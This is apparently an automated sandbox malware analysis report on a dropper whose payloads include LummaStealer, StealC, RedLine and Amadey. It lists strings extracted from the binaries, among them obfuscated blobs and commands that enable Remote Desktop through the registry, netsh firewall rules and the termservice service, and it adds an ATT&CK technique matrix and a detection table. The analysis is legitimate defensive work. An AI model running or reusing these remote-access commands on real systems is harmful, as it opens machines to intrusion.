Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 00000021.00000002.3898605980.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 00000021.00000002.3898605980.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 00000021.00000000.2448112265.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 00000021.00000000.2448112265.00000000007D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: am209.exe.4.dr	String found in binary or memory: net start termservice
Source: am209.exe.4.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe.10.dr	String found in binary or memory: net start termservice
Source: defnur.exe.10.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	312 Process Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	23 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	11 Registry Run Keys / Startup Folder	13 Software Packing	NTDS	259 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	881 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	14 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	361 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fkawMJ7FH8.exe	55%	ReversingLabs	Win32.Packed.Themida
fkawMJ7FH8.exe	100%	Avira	TR/Crypt.TPM.Gen
fkawMJ7FH8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mdjw5me[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\I0XmI2t[1].exe	52%	ReversingLabs	Win64.Trojan.RedLineSteal
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\goldddd123[1].exe	81%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	70%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\SurveillanceWalls[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	92%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	66%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\legs[1].exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	81%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	66%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	52%	ReversingLabs	Win64.Trojan.RedLineSteal
C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe	70%	ReversingLabs	Win32.Trojan.Generic
